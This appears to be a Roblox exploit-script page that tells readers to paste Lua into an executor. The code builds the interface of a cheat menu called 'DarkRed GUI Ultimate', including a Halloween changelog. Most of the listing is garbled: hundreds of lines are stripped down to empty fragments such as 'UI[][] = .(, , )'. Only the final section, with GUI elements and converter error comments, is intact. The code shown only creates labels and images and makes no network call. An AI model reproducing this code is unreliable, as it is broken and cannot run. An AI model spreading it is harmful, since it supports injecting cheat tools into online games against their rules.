Run it
Copy the script and paste it into your executor.
UI = {}
UI[] = .(, :().LocalPlayer:())
UI[][] = .ZIndexBehavior.Sibling
UI[] = .(, UI[])
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] =
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] = .(, -, , )
UI[] = .(, UI[])
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , , )
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] = .TextXAlignment.Left
UI[][] = .(, , )
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] =
UI[][] =
UI[][] = .(-, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] = .TextXAlignment.Left
UI[][] = .(, , )
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] =
UI[][] =
UI[][] = .(, -, , -)
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] = .TextXAlignment.Left
UI[][] = .(, , )
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] =
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] = .TextXAlignment.Left
UI[][] = .(, , )
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] =
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] = .TextXAlignment.Left
UI[][] =
UI[][] = .TextYAlignment.Top
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] =
UI[][] = .(, -, , -)
UI[] = .(, UI[])
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] = .(, , -, )
UI[] = .(, UI[])
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] = .TextXAlignment.Left
UI[][] =
UI[][] = .TextYAlignment.Bottom
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , -, )
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] = .(, )
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , )
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, -, , -)
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(-, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, -, , -)
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] = ColorSequence.{ColorSequenceKeypoint.(, .(, , )),ColorSequenceKeypoint.(, .(, , ))}
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(-, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] = ColorSequence.{ColorSequenceKeypoint.(, .(, , )),ColorSequenceKeypoint.(, .(, , )),ColorSequenceKeypoint.(, .(, , )),ColorSequenceKeypoint.(, .(, , )),ColorSequenceKeypoint.(, .(, , )),ColorSequenceKeypoint.(, .(, , ))}
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(-, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(-, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , )
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , )
UI[][] = Font.(, .FontWeight.Regular, .FontStyle.Normal)
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] =
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , -, )
UI[] = .(, UI[])
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] =
UI[][] = .(, , , )
UI[][] =
UI[][] = .(, , )
UI[][] = .(, , -, )
UI[] = .(, UI[])
UI[][] =
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] = .(-, , , )
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[] = .(, UI[])
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] = .(, , )
UI[][] =
UI[][] =
UI[][] = .(, , , )
UI[][] = .(, , )
UI[][] =
UI[][] = .(-, , 1, 0)
-- // StarterGui.ScreenGui.ImageLabel.Logs.TextLabel \\ --
UI["93"] = Instance.new("TextLabel", UI["92"])
UI["93"]["TextWrapped"] = true
UI["93"]["BorderSizePixel"] = 0
UI["93"]["TextSize"] = 14
UI["93"]["TextScaled"] = true
UI["93"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
UI["93"]["TextColor3"] = Color3.fromRGB(255, 255, 255)
UI["93"]["FontFace"] = Font.new([[rbxasset://fonts/families/RomanAntique.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal)
UI["93"]["Size"] = UDim2.new(0, 188, 0, 75)
UI["93"]["BackgroundTransparency"] = 1
UI["93"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["93"]["Text"] = [[LOG OF THE UPDATE]]
UI["93"]["Position"] = UDim2.new(0.0566, 0, 0, 0)
-- // StarterGui.ScreenGui.ImageLabel.Logs.TextLabel \\ --
UI["94"] = Instance.new("TextLabel", UI["92"])
UI["94"]["TextWrapped"] = true
UI["94"]["BorderSizePixel"] = 0
UI["94"]["TextXAlignment"] = Enum.TextXAlignment.Left
UI["94"]["TextSize"] = 14
UI["94"]["TextYAlignment"] = Enum.TextYAlignment.Top
UI["94"]["TextScaled"] = true
UI["94"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
UI["94"]["TextColor3"] = Color3.fromRGB(255, 255, 255)
UI["94"]["FontFace"] = Font.new([[rbxasset://fonts/families/RomanAntique.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal)
UI["94"]["Size"] = UDim2.new(0, 200, 0, 179)
UI["94"]["BackgroundTransparency"] = 1
UI["94"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["94"]["Text"] = [[Hey! Halloween has arrived! Well, the *DarkRed GUI Ultimate* has been updated—v2 is here! It now features many additions, such as:
1. An info of you
2. Decorations
3. NEW SCRIPTS!
Now that you’ve discovered this changelog page—congratulations! :D But please, don’t be a skid T_T]]
UI["94"]["Position"] = UDim2.new(0.0283, 0, 0.27599, 0)
-- // StarterGui.ScreenGui.ImageLabel.ImageLabel \\ --
UI["95"] = Instance.new("ImageLabel", UI["2"])
UI["95"]["BorderSizePixel"] = 0
UI["95"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
UI["95"]["ImageTransparency"] = 0.51
-- [ERROR] cannot convert ImageContent
UI["95"]["ImageColor3"] = Color3.fromRGB(255, 171, 0)
UI["95"]["Image"] = [[rbxassetid://88062981341345]]
UI["95"]["Size"] = UDim2.new(0, 250, 0, 100)
UI["95"]["BackgroundTransparency"] = 1
UI["95"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["95"]["Rotation"] = 13.78737
UI["95"]["Position"] = UDim2.new(0.74185, 0, -0.16674, 0)
-- // StarterGui.ScreenGui.ImageLabel.ImageLabel.LocalScript \\ --
UI["96"] = Instance.new("LocalScript", UI["95"])
-- // StarterGui.ScreenGui.ImageLabel.TextLabel \\ --
UI["97"] = Instance.new("TextLabel", UI["2"])
UI["97"]["TextWrapped"] = true
UI["97"]["TextStrokeTransparency"] = 0
UI["97"]["BorderSizePixel"] = 0
UI["97"]["TextStrokeColor3"] = Color3.fromRGB(133, 62, 5)
UI["97"]["TextSize"] = 14
UI["97"]["TextScaled"] = true
UI["97"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
UI["97"]["TextColor3"] = Color3.fromRGB(255, 116, 0)
UI["97"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal)
UI["97"]["RichText"] = true
UI["97"]["Size"] = UDim2.new(0, 253, 0, 36)
UI["97"]["BackgroundTransparency"] = 1
UI["97"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["97"]["Text"] = [[HAPPY HALLOWEEN!]]
UI["97"]["Rotation"] = 13.243
UI["97"]["Position"] = UDim2.new(0.73671, 0, -0.09249, 0)
-- // StarterGui.ScreenGui.ImageLabel.TextLabel.LocalScript \\ --
UI["98"] = Instance.new("LocalScript", UI["97"])
-- // StarterGui.ScreenGui.ImageLabel.Folder \\ --
UI["99"] = Instance.new("Folder", UI["2"])
-- // StarterGui.ScreenGui.ImageLabel.Folder.ImageLabel \\ --
UI["9a"] = Instance.new("ImageLabel", UI["99"])
UI["9a"]["BorderSizePixel"] = 0
UI["9a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
-- [ERROR] cannot convert ImageContent
UI["9a"]["Image"] = [[rbxassetid://107623554005413]]
UI["9a"]["Size"] = UDim2.new(0, 64, 0, 57)
UI["9a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["9a"]["Position"] = UDim2.new(0.52353, 0, 1.017, 0)
-- // StarterGui.ScreenGui.ImageLabel.Folder.ImageLabel \\ --
UI["9b"] = Instance.new("ImageLabel", UI["99"])
UI["9b"]["BorderSizePixel"] = 0
UI["9b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
-- [ERROR] cannot convert ImageContent
UI["9b"]["Image"] = [[rbxassetid://102172956327720]]
UI["9b"]["Size"] = UDim2.new(0, 64, 0, 57)
UI["9b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0)
UI["9b"]["Position"] = UDim2.new(0.42705, 0, 1.017, 0)
-- // StarterGui.ScreenGui.ImageLabel.Folder.ImageLabel \\ --
UI["9c"] = Instance.new("ImageLabel", UI["99"])
UI["9c"]["BorderSizePixel"] = 0
UI["9c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255)
-- [ERROR] cannot convert ImageContent
UI["9c"]["Image"] = [[rbxassetid://130595592702861]]
UI["9c"]["Size"] = UDim2.new(0, 64, 0, 57)
